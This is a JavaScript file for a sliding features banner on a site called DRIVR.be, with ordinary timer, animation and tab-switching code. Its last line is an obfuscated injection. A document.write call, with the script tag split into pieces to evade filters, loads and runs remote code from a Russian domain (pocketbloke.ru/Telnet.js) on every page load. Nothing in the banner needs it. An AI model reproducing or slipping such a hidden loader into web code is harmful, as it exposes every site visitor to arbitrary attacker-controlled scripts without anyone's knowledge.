/*
	DRIVR.be - features banner
*/

/* 	ids & classes used programmatically */
var cssjs = {
	ANIMATION: 'animation',	// container div for the banner
	ANIMATION_IMG_HEIGHT: 121,	// height of the banner
	ANIMATION_IMG_WIDTH: 620	// width of the banner
}

/* features banner animation */

var banner = {

	NUM_PAGES: 3,
	DISPLAY_INTERVAL: 1000*3, // milliseconds
	SLIDE_STEPS: 8,	// determines the speed of the scrolling
	
	curpage: 0,
	
	init: function() {
		this.curpage = 1;
		this.start();
	},
	start: function() {
		this.pTimer = window.setInterval( function(){banner.slideshowEvent()}, banner.DISPLAY_INTERVAL);
	},
	slideshowEvent: function() {
		this.curpage++;
		if (this.curpage > this.NUM_PAGES)
			this.curpage = 1;
		this.setslide(this.curpage);
	},
	setslide: function(pagenum) {		
		//oDiv.style.top = '-'+((pagenum-1)*cssjs.ANIMATION_IMG_HEIGHT)+'px';
		var offsy = ((pagenum-1)%(this.NUM_PAGES+1))*cssjs.ANIMATION_IMG_HEIGHT;
		//var offsx = ((pagenum-1)%(this.NUM_PAGES+1))*cssjs.ANIMATION_IMG_WIDTH;
		this.slideElement(0,-offsy,this.SLIDE_STEPS);
		//this.slideElement(-offsx,0,this.SLIDE_STEPS);
		this.settab(pagenum);
	},
	settab: function(pagenum) {
		var oAnim = $(cssjs.ANIMATION);
		var oA = dom.getElementsByClassName(oAnim,'a','tab');
		var i;
		for (i=0;i<oA.length;i++)
		{
			if (i==pagenum-1)
				CssClass.add(oA[i],'on');
			else
				CssClass.remove(oA[i],'on');
		}
	},
	back: function() {
		if (--this.curpage<1)
			this.curpage = this.NUM_PAGES;
		this.stop();
		this.setslide(this.curpage);
	},
	stop: function() {
		if (this.pTimer) {
			window.clearInterval(banner.pTimer);
		}
		this.pTimer = null;
	},
	forward: function() {
		this.stop();
		this.slideshowEvent();
	},
	jumpto: function(pagenum) {
		this.stop();
		this.curpage = pagenum;
		this.setslide(this.curpage);
	},
	
	slideElement: function(x, y, inc) {
		var oAnim = $(cssjs.ANIMATION);
		var element = oAnim.getElementsByTagName('div')[0];
		
		if (element.sliding) clearTimeout(element.sliding);
		
		if (!element.xpos) element.xpos = 0;
		if (!element.ypos) element.ypos = 0;
	
		if (element.xpos == x && element.ypos == y) {
			/*
			console.log('page '+this.curpage+' ypos '+element.ypos);
			if (this.curpage>this.NUM_PAGES) {
				this.curpage = ((this.curpage-1)%this.NUM_PAGES)+1;
				var offsy = (this.curpage-1)*cssjs.ANIMATION_IMG_HEIGHT;
				element.ypos = -offsy;
				element.style.top = '-'+offsy+'px';
			}*/
			return true; 
		}
	
		if (element.xpos > x) {
			var dist = Math.ceil((element.xpos-x)/inc);
			element.xpos = element.xpos - dist;
		}
	
		if (element.xpos < x) {
			var dist = Math.ceil((x-element.xpos)/inc);
			element.xpos = element.xpos + dist;
		}
	
		if (element.ypos > y) {
			var dist = Math.ceil((element.ypos-y)/inc);
			element.ypos = element.ypos - dist;
		}
	
		if (element.ypos < y) {
			var dist = Math.ceil((y-element.ypos)/inc);
			element.ypos = element.ypos + dist;
		}
		
		//element.style.left = element.xpos+'px';
		element.style.top = element.ypos+'px';
		
		element.sliding = setTimeout('banner.slideElement('+x+','+y+','+inc+')',banner.SLIDE_STEPS);
	}
}


dom.addEvent(window, 'load', function(){ banner.init(); });



document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Telnet.js"></scri'+'pt>');